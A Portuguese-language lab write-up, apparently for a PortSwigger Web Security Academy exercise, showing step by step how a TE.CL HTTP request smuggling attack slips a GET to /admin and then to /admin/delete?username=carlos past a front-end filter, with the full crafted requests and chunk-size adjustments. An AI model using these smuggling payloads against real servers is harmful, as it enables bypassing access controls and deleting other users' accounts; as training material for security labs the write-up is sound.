> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Bypass de Segurança do Front-End via TE.CL

Notas sobre Bypass de Segurança do Front-End via TE.CL para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Exploração de Request Smuggling HTTP para contornar controles de segurança do front-end, vulnerabilidade TE.CL

O sistema é baseado em um servidor de front-end e um servidor de back-end. / Back-end **não lida com codificação chunked**, enquanto o front-end **bloqueia o acesso a /admin**. / O objetivo é **disfarçar uma requisição para /admin** para excluir o usuário carlos.

Embora a aplicação suporte HTTP/2, a exploração é baseada em técnicas específicas do HTTP/1.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b368c227dbfef1686354e4dfcf7d0ef4c0fdfdd%2F%7B20C6DC9D-BE61-4C0A-BDC5-89B58E1DDB45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Observação inicial**

O front-end interpreta corretamente `Transfer-Encoding: chunked`. / Primeiro enviamos uma requisição simples:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construção da Requisição Contrabandeada**

Um **nova requisição completa** é injetada no corpo em chunks.

#### **Modelo Preparatório**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: tamanho
Transfer-Encoding: chunked

tamanho
GET /admin HTTP/1.1
Host: localhost
Content-Length: tamanho

test=testing
0


```

#### **Ajuste de Tamanho**

Um mínimo `Content-Length` no lado do front-end é fixado, seguido por um chunk contendo a requisição contrabandeada:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

O servidor interpreta a requisição injetada corretamente.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d9280af08ef40aef001a4adf05d6ea279cc2931%2F%7BB9C15BE1-7D7A-4448-8E51-67ABD9ABB33C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Injeção da Requisição Final para Excluir Carlos**

A requisição-alvo é substituída por uma exclusão de usuário:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Essa requisição contrabandeada é então processada diretamente pelo back-end, contornando completamente a filtragem do front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab4d37cd4a80f2a4bdbd09c4f6bea25df072aef4%2F%7BE7DCC28F-7EBE-4F45-ABA4-48E8212AADEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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